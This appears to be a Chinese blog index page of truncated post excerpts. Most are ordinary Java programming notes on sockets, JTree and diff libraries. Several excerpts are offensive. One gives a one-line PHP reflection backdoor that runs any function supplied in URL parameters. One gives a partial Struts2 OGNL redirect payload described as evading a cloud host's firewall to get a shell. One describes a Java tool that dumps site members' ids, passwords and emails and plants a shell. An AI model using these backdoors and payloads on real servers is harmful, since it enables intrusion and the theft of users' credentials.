java socket 长连接read阻塞问题
解决的方法有3个 : 1 约定发送的数据长度,比如 http的 keepAlive 就是必须依赖这个的 Content-Length 2 设置超时的时间,根据我的经验,只有在Socket级别设置才有效. Socket socket = new Socket(host,port); socket.setSoTimeout(100); // 如果超过100毫秒还没有数据(根据你的实际情况设置延迟,传输...
阅读全文解决的方法有3个 : 1 约定发送的数据长度,比如 http的 keepAlive 就是必须依赖这个的 Content-Length 2 设置超时的时间,根据我的经验,只有在Socket级别设置才有效. Socket socket = new Socket(host,port); socket.setSoTimeout(100); // 如果超过100毫秒还没有数据(根据你的实际情况设置延迟,传输...
阅读全文如果选中一个节点直接通过node的text去获取很多时候是不行的,最简单的办法是继承DefaultMutableTreeNode类,重写toString和构造方法。 import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import javax.swing.JFrame; import javax.swing.J...
阅读全文隐藏root:jtree.setRootVisible(false); 2: import java.awt.BorderLayout; import javax.swing.JFrame; import javax.swing.JTree; import javax.swing.tree.DefaultMutableTreeNode; import javax.swing.tree.Defaul...
阅读全文PHP反射后门,之前测试的时候不知道php有个反射function. PHP reflection反射应用 <?php $func = new ReflectionFunction($_GET[m]); echo $func->invokeArgs(array($_GET[c])); ?>...
阅读全文安装完成后可以回调,替换echo 123456789和pause就行了。 dim path set ws = CreateObject("WScript.Shell") set fso=createobject("scripting.filesystemobject") ''定义安装路径 path = ws.ExpandEnvironme...
阅读全文一个google多语言diff源码和测试类,支持的语言有:Java, JavaScript, Dart, C++, C#, Objective C, Lua and Python。这货很方便,对比之后还可以生成html的diif代码片段。不是什么新玩意,项目最后更新时间是2012年。 项目地址:https://code.google.com/p/google-diff-match-patch/ 源...
阅读全文百度老删,只能私密分享了。阿里技术嘉年华文档都是公开的:http://adc.alibabatech.org/,内容非常丰富。至于那几个java文档从百度文库找的。 ADC•阿里技术嘉年华于7月13-14日在杭州举行。这是一场专属于<互联网工程师>的“技术盛宴”,倡导<干货分享>。 不仅有高含金量的“主题论坛“, 精彩的”Workshop“、“Tech Show”,还有互动...
阅读全文测试了下阿里云主机,似乎默认带了Struts2命令执行和Getshell的拦截。改了下就不拦了撒。 http://xxx.com/test.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23w%3d%23context.get...
阅读全文检测shell、获取基本信息、列当前数据下举所有表、统计会员数量、输出前20位会员id+密码+email、getshell import java.io.ByteArrayOutputStream; import java.io.UnsupportedEncodingException; import java.net.URL; import java.net.URLConnection; imp...
阅读全文Discuz自身提供了一个函数_authcode,实现了自身的Encode和Decode。这里写了一段代码,基本翻译了Discuz的Encode部分。代码没什么难点,麻烦的是如果你用Java去实现Encode会发现里面有许多的坑。我写了俩php的函数microtime();和time();的实现。用Map替换了PHP的range函数,其次需要注意的是php的chr,chr返回的是Java里的byt...
阅读全文